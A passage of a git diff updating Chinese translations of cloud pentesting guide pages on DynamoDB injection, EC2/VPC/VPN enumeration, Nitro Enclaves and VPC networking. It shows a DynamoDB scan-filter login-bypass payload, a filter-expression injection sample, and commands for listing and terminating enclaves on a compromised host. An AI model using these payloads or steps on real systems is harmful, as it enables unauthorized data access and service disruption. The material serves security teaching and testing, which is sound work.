数据,您可能会获得隐藏数据(或转储整个表)。\ +在 DynamoDB 中,可以使用不同的 **条件** 来检索数据,就像在常见的 NoSQL 注入中,如果可以 **链式添加更多条件以检索** 数据,您可能会获得隐藏的数据(或转储整个表)。\ 您可以在这里找到 DynamoDB 支持的条件:[https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -请注意,如果通过 **`query`** 或 **`scan`** 访问数据,则支持 **不同的条件**。 +请注意,如果通过 **`query`** 或 **`scan`** 访问数据,支持 **不同的条件**。 > [!NOTE] -> 实际上,**Query** 操作需要在 **主** 键中指定 **条件 "EQ"(等于)** 才能工作,这使其 **更不容易受到 NoSQL 注入**(并且还使操作非常有限)。 +> 实际上,**Query** 操作需要在 **主** 键中指定 **条件 "EQ"(等于)** 才能工作,这使得它 **更不容易受到 NoSQL 注入**(并且还使操作非常有限)。 如果您可以 **更改比较** 或添加新的比较,您可以检索更多数据。 ```bash @@ -111,7 +111,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### 原始 Json 注入 > [!CAUTION] -> **此漏洞基于现已弃用的 dynamodb 扫描过滤器!** +> **此漏洞基于已弃用的 dynamodb Scan Filter!** **DynamoDB** 接受 **Json** 对象以 **搜索** 数据。如果您发现可以在发送的 json 对象中进行写入,您可以使数据库转储所有内容。 @@ -125,7 +125,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection 修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,即所有数据。 -另一个**使用登录的脆弱示例**可以是: +另一个 **使用登录的脆弱示例** 可能是: ```python scan_filter = """{ "username": { @@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -您需要知道,在DynamoDB中搜索以**替换**属性**值**在**过滤表达式**中扫描项目时,令牌应**以**`:`**字符开头。这样的令牌将在运行时**替换**为实际的**属性值**。 +您需要知道,在DynamoDB中搜索以**替换**属性**值**的**过滤表达式**时,扫描项目时,令牌应**以**`:`**字符开头。这些令牌将在运行时**替换**为实际的**属性值**。 因此,像之前的登录可以通过以下方式绕过: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 0281b5423..f0a2f84d6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -了解什么是 VPC 及其组件: +了解 VPC 及其组件: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和 **网络**,以及管理 **存储**。Amazon EC2 的灵活性体现在其能够向上和向下扩展资源,有效适应不同的需求变化或流行度激增。这一特性减少了对精确流量预测的必要性。 +Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和 **网络**,以及管理 **存储**。Amazon EC2 的灵活性体现在其能够向上和向下扩展资源,有效适应变化的需求或流行度的激增。此功能减少了对精确流量预测的必要性。 在 EC2 中有趣的枚举内容: @@ -25,13 +25,13 @@ Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和 - 子网络 - 公共 IP - 开放端口 -- 与 AWS 之外的其他网络的集成连接 +- 与 AWS 之外其他网络的集成连接 ### 实例配置文件 -使用 **角色** 授予在 **EC2 实例** 上运行的应用程序权限需要额外的配置。运行在 EC2 实例上的应用程序通过虚拟化操作系统与 AWS 隔离。因此,您需要额外的步骤将 AWS 角色及其相关权限分配给 EC2 实例,并使其对应用程序可用。 +使用 **角色** 授予在 **EC2 实例** 上运行的应用程序权限需要一些额外的配置。在 EC2 实例上运行的应用程序通过虚拟化操作系统与 AWS 隔离。因此,您需要额外的步骤将 AWS 角色及其相关权限分配给 EC2 实例,并使其对应用程序可用。 -这一步骤是 **创建一个** [_**实例配置文件**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) 附加到实例。**实例配置文件包含角色,并且**可以向在实例上运行的应用程序提供角色的临时凭证。这些临时凭证可以在应用程序的 API 调用中使用,以访问资源,并限制访问仅限于角色指定的那些资源。请注意,**一次只能将一个角色分配给 EC2 实例**,并且实例上的所有应用程序共享相同的角色和权限。 +这一步骤是 **创建一个** [_**实例配置文件**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) 附加到实例。**实例配置文件包含角色,并且**可以向在实例上运行的应用程序提供角色的临时凭证。这些临时凭证可以在应用程序的 API 调用中使用,以访问资源并限制访问仅限于角色指定的那些资源。请注意,**一次只能将一个角色分配给 EC2 实例**,并且实例上的所有应用程序共享相同的角色和权限。 ### 元数据端点 @@ -155,7 +155,7 @@ aws ec2 describe-vpc-peering-connections ### AMI与EBS的区别 -**AMI**用于**启动EC2实例**,而EC2**快照**用于**备份和恢复存储在EBS卷上的数据**。虽然EC2快照可以用于创建新的AMI,但它与AMI并不相同,并且不包含运行应用程序所需的操作系统、应用服务器或其他软件的信息。 +**AMI**用于**启动EC2实例**,而EC2**快照**用于**备份和恢复存储在EBS卷上的数据**。虽然EC2快照可以用于创建新的AMI,但它与AMI并不相同,并且不包含运行应用程序所需的操作系统、应用程序服务器或其他软件的信息。 ### 权限提升 @@ -171,7 +171,7 @@ aws ec2 describe-vpc-peering-connections **SSM代理**使系统管理器能够更新、管理和配置这些资源。代理**处理来自AWS云中系统管理器服务的请求**,然后按请求中指定的方式运行它们。 -**SSM代理**[**在某些AMI中预安装**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html),或者您需要在实例上[**手动安装它们**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)。此外,实例中使用的IAM角色需要附加**AmazonEC2RoleforSSM**策略才能进行通信。 +**SSM代理**[**在某些AMI中预安装**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html),或者您需要[**手动安装它们**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)在实例上。此外,实例内使用的IAM角色需要附加**AmazonEC2RoleforSSM**策略才能进行通信。 ### 枚举 ```bash @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro 是一套 **创新技术**,构成了 AWS EC2 实例的基础平台。由亚马逊推出以 **增强安全性、性能和可靠性**,Nitro 利用定制的 **硬件组件和轻量级虚拟机监控器**。它将传统虚拟化功能的大部分抽象到专用硬件和软件中,**最小化攻击面**并提高资源效率。通过卸载虚拟化功能,Nitro 使 EC2 实例能够提供 **接近裸金属的性能**,这对资源密集型应用特别有利。此外,Nitro 安全芯片专门确保 **硬件和固件的安全性**,进一步巩固其强大的架构。 +AWS Nitro 是一套 **创新技术**,构成了 AWS EC2 实例的基础平台。由亚马逊推出以 **增强安全性、性能和可靠性**,Nitro 利用定制的 **硬件组件和轻量级虚拟机监控器**。它将传统虚拟化功能抽象到专用硬件和软件上,**最小化攻击面**并提高资源效率。通过卸载虚拟化功能,Nitro 使 EC2 实例能够提供 **接近裸金属的性能**,这对资源密集型应用特别有利。此外,Nitro 安全芯片专门确保 **硬件和固件的安全性**,进一步巩固其强大的架构。 获取更多信息以及如何枚举它: @@ -243,20 +243,20 @@ VPN 允许将您的 **本地网络(站点到站点 VPN)** 或 **工作人员 #### 基本 AWS VPN 组件 1. **客户网关**: -- 客户网关是您在 AWS 中创建的资源,用于表示 VPN 连接的一侧。 -- 它本质上是您在站点到站点 VPN 连接一侧的物理设备或软件应用程序。 -- 您向 AWS 提供路由信息和网络设备的公共 IP 地址(例如路由器或防火墙),以创建客户网关。 +- 客户网关是您在 AWS 中创建的资源,代表您一侧的 VPN 连接。 +- 它本质上是您一侧站点到站点 VPN 连接的物理设备或软件应用程序。 +- 您向 AWS 提供路由信息和网络设备(如路由器或防火墙)的公共 IP 地址,以创建客户网关。 - 它作为设置 VPN 连接的参考点,不会产生额外费用。 2. **虚拟私有网关**: -- 虚拟私有网关(VPG)是站点到站点 VPN 连接的亚马逊端的 VPN 集中器。 +- 虚拟私有网关(VPG)是亚马逊一侧站点到站点 VPN 连接的 VPN 集中器。 - 它附加到您的 VPC,并作为您的 VPN 连接的目标。 -- VPG 是 VPN 连接的 AWS 端点。 +- VPG 是 VPN 连接的 AWS 侧端点。 - 它处理您的 VPC 和本地网络之间的安全通信。 3. **站点到站点 VPN 连接**: - 站点到站点 VPN 连接通过安全的 IPsec VPN 隧道将您的本地网络连接到 VPC。 - 这种类型的连接需要客户网关和虚拟私有网关。 -- 它用于数据中心或网络与 AWS 环境之间的安全、稳定和一致的通信。 -- 通常用于常规的长期连接,并根据通过连接传输的数据量计费。 +- 它用于您的数据中心或网络与 AWS 环境之间的安全、稳定和一致的通信。 +- 通常用于常规、长期连接,并根据通过连接传输的数据量计费。 4. **客户端 VPN 端点**: - 客户端 VPN 端点是您在 AWS 中创建的资源,用于启用和管理客户端 VPN 会话。 - 它用于允许单个设备(如笔记本电脑、智能手机等)安全地连接到 AWS 资源或您的本地网络。 @@ -265,7 +265,7 @@ VPN 允许将您的 **本地网络(站点到站点 VPN)** 或 **工作人员 您可以 [**在这里找到有关 AWS VPN 的好处和组件的更多信息**](aws-vpc-and-networking-basic-information.md#vpn)。 -### Enumeration +### 枚举 ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 4230061b8..76996a5c4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,18 +4,18 @@ ## 基本信息 -AWS Nitro 是一套 **创新技术**,构成了 AWS EC2 实例的基础平台。由亚马逊推出,以 **增强安全性、性能和可靠性**,Nitro 利用定制的 **硬件组件和轻量级虚拟机监控程序**。它将传统虚拟化功能的大部分抽象到专用硬件和软件中,**最小化攻击面**并提高资源效率。通过卸载虚拟化功能,Nitro 使 EC2 实例能够提供 **接近裸金属的性能**,这对于资源密集型应用特别有利。此外,Nitro 安全芯片专门确保 **硬件和固件的安全性**,进一步巩固其强大的架构。 +AWS Nitro 是一套 **创新技术**,构成了 AWS EC2 实例的基础平台。由亚马逊推出,以 **增强安全性、性能和可靠性**,Nitro 利用定制的 **硬件组件和轻量级虚拟机监控器**。它将传统虚拟化功能抽象到专用硬件和软件上,**最小化攻击面**并提高资源效率。通过卸载虚拟化功能,Nitro 使 EC2 实例能够提供 **接近裸金属的性能**,这对资源密集型应用特别有利。此外,Nitro 安全芯片专门确保 **硬件和固件的安全性**,进一步巩固其强大的架构。 ### Nitro Enclaves -**AWS Nitro Enclaves** 提供一个安全的、**隔离的计算环境**,专门设计用于处理高度敏感的数据。利用 AWS Nitro 系统,这些隔离区确保强大的 **隔离和安全性**,非常适合 **处理机密信息**,如个人身份信息或财务记录。它们具有极简的环境,显著降低数据暴露的风险。此外,Nitro Enclaves 支持加密证明,允许用户验证只有授权代码在运行,这对于维护严格的合规性和数据保护标准至关重要。 +**AWS Nitro Enclaves** 提供一个安全的 **隔离计算环境,位于 Amazon EC2 实例内**,专门设计用于处理高度敏感的数据。利用 AWS Nitro 系统,这些隔离区确保强大的 **隔离和安全性**,非常适合 **处理机密信息**,如个人身份信息或财务记录。它们具有极简的环境,显著降低数据暴露的风险。此外,Nitro Enclaves 支持加密证明,允许用户验证只有授权代码在运行,这对维护严格的合规性和数据保护标准至关重要。 > [!CAUTION] -> Nitro Enclave 镜像是 **在 EC2 实例内部运行**的,您无法从 AWS 网络控制台查看 EC2 实例是否在运行 Nitro Enclave 镜像。 +> Nitro Enclave 镜像是 **从 EC2 实例内部运行的**,您无法从 AWS 网络控制台查看 EC2 实例是否在运行 Nitro Enclave 镜像。 ## Nitro Enclave CLI 安装 -按照 [**文档中的所有说明**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)。然而,以下是最重要的说明: +请遵循所有说明 [**来自文档**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)。然而,以下是最重要的几点: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -39,7 +39,7 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -如您所见,Nitro Enclave 镜像使用扩展名 **`eif`**(Enclave Image File)。 +如您所见,Nitro Enclave 镜像使用扩展名 **`eif`** (Enclave Image File)。 输出将类似于: ``` @@ -56,7 +56,7 @@ Enclave Image successfully created. ``` ### 运行映像 -根据 [**文档**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave),为了运行一个 enclave 映像,您需要为其分配 **至少是 `eif` 文件大小的 4 倍的内存**。可以在文件中配置默认资源以分配给它。 +根据 [**文档**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave),要运行一个 enclave 映像,您需要分配 **至少是 `eif` 文件大小的 4 倍** 的内存。可以在文件中配置要分配给它的默认资源。 ```shell /etc/nitro_enclaves/allocator.yaml ``` @@ -71,18 +71,18 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` -### Enumerate Enclaves +### 枚举区块 -如果您攻陷了一个 EC2 主机,可以使用以下命令获取正在运行的 enclave 镜像列表: +如果您攻陷了一个 EC2 主机,可以使用以下命令获取正在运行的区块映像列表: ```bash nitro-cli describe-enclaves ``` -不可能在运行的 enclave 镜像内获取 shell,因为这正是 enclave 的主要目的。然而,如果您使用参数 **`--debug-mode`**,则可以通过以下方式获取其 **stdout**: +无法在运行的 enclave 镜像内获取 shell,因为这正是 enclave 的主要目的。然而,如果您使用参数 **`--debug-mode`**,则可以通过以下方式获取其 **stdout**: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminate Enclaves +### 终止隔离区 如果攻击者通过默认方式攻陷了一个 EC2 实例,他将无法在其中获得 shell,但他将能够通过以下方式**终止它们**: ```shell @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} 与运行图像的 **enclave** 进行通信的唯一方式是使用 **vsocks**。 -**虚拟套接字 (vsock)** 是 Linux 中的一种套接字系列,专门设计用于促进虚拟机 (**VMs**) 与其 **hypervisors** 之间,或虚拟机 **之间** 的 **通信**。Vsock 使得高效的 **双向通信** 成为可能,而无需依赖主机的网络堆栈。这使得虚拟机即使在没有网络配置的情况下也能进行通信,**使用 32 位上下文 ID (CID) 和端口号** 来识别和管理连接。vsock API 支持流和数据报套接字类型,类似于 TCP 和 UDP,为虚拟环境中的用户级应用程序提供了多功能的工具。 +**虚拟套接字 (vsock)** 是 Linux 中的一种套接字系列,专门设计用于促进虚拟机 (**VMs**) 与其 **hypervisors** 之间,或虚拟机 **之间** 的 **通信**。Vsock 使得高效的 **双向通信** 成为可能,而无需依赖主机的网络堆栈。这使得虚拟机即使在没有网络配置的情况下也能进行通信,**使用 32 位上下文 ID (CID) 和端口号** 来识别和管理连接。vsock API 支持流和数据报套接字类型,类似于 TCP 和 UDP,为虚拟环境中的用户级应用程序提供了一个多功能工具。 > [!TIP] > 因此,vsock 地址看起来像这样:`:` @@ -207,35 +207,35 @@ vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -可以通过以下方式查看 EC2 主机使用的 vsock 地址 (**`:`**)(注意 `3:8001`,3 是 CID,8001 是端口): +可以使用以下方式查看 EC2 主机使用的 vsock 地址 (**`:`**)(注意 `3:8001`,3 是 CID,8001 是端口): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` ## Nitro Enclave Atestation & KMS -Nitro Enclaves SDK 允许一个 enclave 从 Nitro **Hypervisor** 请求一个 **加密签名的证明文档**,该文档包含特定于该 enclave 的 **唯一测量值**。这些测量值,包括 **哈希和平台配置寄存器 (PCRs)**,在证明过程中用于 **证明 enclave 的身份** 和 **与外部服务建立信任**。证明文档通常包含像 PCR0、PCR1 和 PCR2 这样的值,这些值在构建和保存 enclave EIF 时你已经遇到过。 +Nitro Enclaves SDK 允许一个 enclave 从 Nitro **Hypervisor** 请求一个 **加密签名的证明文件**,该文件包含特定于该 enclave 的 **唯一测量值**。这些测量值,包括 **哈希和平台配置寄存器 (PCRs)**,在证明过程中用于 **证明 enclave 的身份** 和 **与外部服务建立信任**。证明文件通常包含像 PCR0、PCR1 和 PCR2 这样的值,这些值在构建和保存 enclave EIF 时你已经遇到过。 根据 [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves),这些是 PCR 值: -
PCR哈希值...描述
PCR0Enclave 镜像文件镜像文件内容的连续测量,不包括部分数据。
PCR1Linux 内核和引导内核和引导 ramfs 数据的连续测量。
PCR2应用程序用户应用程序的连续、按顺序测量,不包括引导 ramfs。
PCR3分配给父实例的 IAM 角色分配给父实例的 IAM 角色的连续测量。确保只有在父实例具有正确的 IAM 角色时,证明过程才会成功。
PCR4父实例的实例 ID父实例 ID 的连续测量。确保只有在父实例具有特定实例 ID 时,证明过程才会成功。
PCR8Enclave 镜像文件签名证书为 enclave 镜像文件指定的签名证书的测量。确保只有在 enclave 从由特定证书签名的 enclave 镜像文件引导时,证明过程才会成功。
+
PCRHash of ...Description
PCR0Enclave image file图像文件内容的连续测量,不包括部分数据。
PCR1Linux kernel and bootstrap内核和引导 ramfs 数据的连续测量。
PCR2Application用户应用程序的连续、按顺序测量,不包括引导 ramfs。
PCR3IAM role assigned to the parent instance分配给父实例的 IAM 角色的连续测量。确保只有在父实例具有正确的 IAM 角色时,证明过程才会成功。
PCR4Instance ID of the parent instance父实例 ID 的连续测量。确保只有在父实例具有特定实例 ID 时,证明过程才会成功。
PCR8Enclave image file signing certificate为 enclave 图像文件指定的签名证书的测量。确保只有在 enclave 从由特定证书签名的 enclave 图像文件引导时,证明过程才会成功。
-你可以将 **加密证明** 集成到你的应用程序中,并利用与 **AWS KMS** 等服务的预构建集成。AWS KMS 可以 **验证 enclave 证明**,并在其密钥策略中提供基于证明的条件密钥 (`kms:RecipientAttestation:ImageSha384` 和 `kms:RecipientAttestation:PCR`)。这些策略确保 AWS KMS 仅在 enclave 的证明文档有效且满足 **指定条件** 时,才允许使用 KMS 密钥进行操作。 +你可以将 **加密证明** 集成到你的应用程序中,并利用与 **AWS KMS** 等服务的预构建集成。AWS KMS 可以 **验证 enclave 证明**,并在其密钥策略中提供基于证明的条件密钥 (`kms:RecipientAttestation:ImageSha384` 和 `kms:RecipientAttestation:PCR`)。这些策略确保 AWS KMS 仅在 enclave 的证明文件有效且满足 **指定条件** 时,才允许使用 KMS 密钥进行操作。 > [!TIP] -> 请注意,调试模式下的 Enclaves (--debug) 生成的证明文档的 PCR 由零组成 (`000000000000000000000000000000000000000000000000`)。因此,检查这些值的 KMS 策略将失败。 +> 请注意,调试模式下的 Enclaves (--debug) 生成的证明文件的 PCR 由零组成 (`000000000000000000000000000000000000000000000000`)。因此,检查这些值的 KMS 策略将失败。 ### PCR Bypass -从攻击者的角度来看,注意到某些 PCR 允许修改 enclave 镜像的某些部分或全部,并且仍然有效(例如,PCR4 仅检查父实例的 ID,因此在该 EC2 中运行任何 enclave 镜像将满足此潜在 PCR 要求)。 +从攻击者的角度来看,注意到某些 PCR 允许修改 enclave 图像的某些部分或全部,并且仍然有效(例如,PCR4 仅检查父实例的 ID,因此在该 EC2 中运行任何 enclave 图像将满足此潜在 PCR 要求)。 -因此,攻击者如果攻陷 EC2 实例,可能能够运行其他 enclave 镜像以绕过这些保护。 +因此,攻击者如果攻陷 EC2 实例,可能能够运行其他 enclave 图像以绕过这些保护。 -关于如何修改/创建新镜像以绕过每个保护(特别是那些不那么明显的保护)的研究仍然待完成。 +关于如何修改/创建新图像以绕过每个保护(特别是那些不那么明显的保护)的研究仍然待完成。 ## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- AWS Nitro 教程的所有部分:[https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- AWS Nitro 教程的所有部分: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 08e9fe935..b1cc112a9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,8 +1,8 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking 基本信息 {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS 网络概述 一个 **VPC** 包含一个 **网络 CIDR**,如 10.0.0.0/16(以及它的 **路由表** 和 **网络 ACL**)。 @@ -10,15 +10,15 @@ 然后,附加到服务(如 EC2 实例)的 **网络接口** 与 **子网络** 通过 **安全组** **连接**。 -因此,**安全组** 将限制使用它的网络 **接口** 的暴露端口,**独立于子网络**。而 **网络 ACL** 将 **限制** 暴露端口到 **整个网络**。 +因此,**安全组** 将限制使用它的网络 **接口** 的暴露端口,**独立于子网络**。而 **网络 ACL** 将 **限制** 整个网络的暴露端口。 此外,为了 **访问互联网**,有一些有趣的配置需要检查: - **子网络** 可以 **自动分配公共 IPv4 地址** -- 在网络中创建的 **实例** 如果 **自动分配 IPv4 地址可以获得一个** +- 在网络中创建的 **实例** 如果 **自动分配 IPv4 地址,可以获得一个** - 需要将 **互联网网关** **附加** 到 **VPC** -- 你还可以使用 **仅出网关** -- 你还可以在 **私有子网** 中拥有一个 **NAT 网关**,这样可以从该私有子网 **连接到外部服务**,但 **无法从外部访问它们**。 +- 你还可以使用 **仅出站互联网网关** +- 你还可以在 **私有子网络** 中拥有一个 **NAT 网关**,这样可以从该私有子网络 **连接到外部服务**,但 **无法从外部访问它们**。 - NAT 网关可以是 **公共的**(访问互联网)或 **私有的**(访问其他 VPC) ![](<../../../../images/image (274).png>) @@ -27,30 +27,30 @@ 亚马逊 **虚拟私有云**(Amazon VPC)使您能够 **在您定义的虚拟网络中启动 AWS 资源**。这个虚拟网络将有多个子网、互联网网关以访问互联网、ACL、安全组、IP... -### Subnets +### 子网 子网有助于加强更高水平的安全性。**相似资源的逻辑分组** 也有助于您在基础设施中保持 **管理的便利性**。 - 有效的 CIDR 范围从 /16 网络掩码到 /28 网络掩码。 - 一个子网不能同时位于不同的可用区。 -- **AWS 为每个子网保留前三个主机 IP 地址** **用于** **内部 AWS 使用**:第一个主机地址用于 VPC 路由器。第二个地址保留用于 AWS DNS,第三个地址保留用于将来使用。 -- 直接访问互联网的子网称为 **公共子网**,而私有子网则不。 +- **AWS 为每个子网保留前三个主机 IP 地址** **用于** **内部 AWS 使用**:第一个主机地址用于 VPC 路由器。第二个地址保留给 AWS DNS,第三个地址保留供将来使用。 +- 具有 **直接访问互联网** 的子网称为 **公共子网,而私有子网则没有**。
-### Route Tables +### 路由表 -路由表确定 VPC 中子网的流量路由。它们确定哪些网络流量被转发到互联网或 VPN 连接。您通常会找到对以下内容的访问: +路由表决定了 VPC 中子网的流量路由。它们决定了哪些网络流量被转发到互联网或 VPN 连接。您通常会找到对以下内容的访问: - 本地 VPC - NAT -- 互联网网关 / 仅出网关(需要为 VPC 提供互联网访问)。 +- 互联网网关 / 仅出站互联网网关(需要为 VPC 提供互联网访问)。 - 为了使子网公开,您需要 **创建** 并 **附加** 一个 **互联网网关** 到您的 VPC。 - VPC 端点(从私有网络访问 S3) -在以下图像中,您可以检查默认公共网络和私有网络之间的差异: +在以下图像中,您可以查看默认公共网络和私有网络之间的差异:
@@ -63,54 +63,54 @@ - 通常使用安全组来允许/拒绝访问,但这是完全切断已建立反向 shell 的唯一方法。安全组中的修改规则不会停止已经建立的连接。 - 然而,这适用于整个子网络,禁止某些内容时要小心,因为所需的功能可能会受到干扰。 -### Security Groups +### 安全组 安全组是一个虚拟 **防火墙**,控制 VPC 中实例的入站和出站网络 **流量**。关系 1 SG 对 M 实例(通常是 1 对 1)。\ -通常这用于在实例中打开危险端口,例如端口 22: +通常用于在实例中打开危险端口,例如端口 22:
-### Elastic IP Addresses +### 弹性 IP 地址 一个 _弹性 IP 地址_ 是一个 **静态 IPv4 地址**,旨在用于动态云计算。弹性 IP 地址分配给您的 AWS 账户,并且在您释放之前属于您。通过使用弹性 IP 地址,您可以通过快速重新映射地址到您账户中的另一个实例来掩盖实例或软件的故障。 -### Connection between subnets +### 子网之间的连接 默认情况下,所有子网的 **自动分配公共 IP 地址已关闭**,但可以打开。 **路由表中的本地路由使 VPC 子网之间的通信成为可能。** -如果您 **连接一个子网与另一个子网,您无法访问与其他子网连接的子网,您需要直接与它们建立连接**。**这也适用于互联网网关**。您不能通过子网连接访问互联网,您需要将互联网网关分配给您的子网。 +如果您 **连接一个子网与另一个子网,您无法访问与另一个子网连接的子网,您需要直接与它们建立连接。** **这也适用于互联网网关**。您不能通过子网连接访问互联网,您需要将互联网网关分配给您的子网。 -### VPC Peering +### VPC 对等连接 VPC 对等连接允许您 **将两个或多个 VPC 连接在一起**,使用 IPV4 或 IPV6,就像它们是同一网络的一部分。 -一旦建立对等连接,**一个 VPC 中的资源可以访问另一个 VPC 中的资源**。VPC 之间的连接通过现有的 AWS 网络基础设施实现,因此它是高度可用的,没有带宽瓶颈。由于 **对等连接的操作就像它们是同一网络的一部分**,因此在使用 CIDR 块范围时有一些限制。\ +一旦建立对等连接,**一个 VPC 中的资源可以访问另一个 VPC 中的资源**。VPC 之间的连接通过现有的 AWS 网络基础设施实现,因此它具有高可用性且没有带宽瓶颈。由于 **对等连接的操作就像它们是同一网络的一部分**,因此在使用 CIDR 块范围时会有一些限制。\ 如果您的 VPC 有 **重叠或重复的 CIDR** 范围,那么 **您将无法将 VPC 对等连接在一起**。\ -每个 AWS VPC **只与其对等连接通信**。例如,如果您在 VPC 1 和 VPC 2 之间有一个对等连接,在 VPC 2 和 VPC 3 之间有另一个连接,如所示,则 VPC 1 和 VPC 2 可以直接相互通信,VPC 2 和 VPC 3 也可以相互通信,但 VPC 1 和 VPC 3 不能。**您不能通过一个 VPC 路由到另一个 VPC。** +每个 AWS VPC **仅与其对等连接进行通信**。例如,如果您在 VPC 1 和 VPC 2 之间有一个对等连接,并且在 VPC 2 和 VPC 3 之间有另一个连接,如所示,则 VPC 1 和 VPC 2 可以直接相互通信,VPC 2 和 VPC 3 也可以相互通信,但 VPC 1 和 VPC 3 不能。**您不能通过一个 VPC 路由到另一个 VPC。** -### **VPC Flow Logs** +### **VPC 流日志** -在您的 VPC 中,您可能会有数百或甚至数千个资源在不同的公共和私有子网之间以及通过 VPC 对等连接在不同的 VPC 之间进行通信。**VPC Flow Logs 允许您捕获在 VPC 内资源的网络接口之间流动的 IP 流量信息**。 +在您的 VPC 中,您可能会有数百或甚至数千个资源在不同的公共和私有子网之间以及通过 VPC 对等连接在不同的 VPC 之间进行通信。**VPC 流日志允许您捕获在 VPC 内资源的网络接口之间流动的 IP 流量信息**。 -与 S3 访问日志和 CloudFront 访问日志不同,**VPC Flow Logs 生成的日志数据不会存储在 S3 中。相反,捕获的日志数据会发送到 CloudWatch 日志**。 +与 S3 访问日志和 CloudFront 访问日志不同,**VPC 流日志生成的日志数据不会存储在 S3 中。相反,捕获的日志数据会发送到 CloudWatch 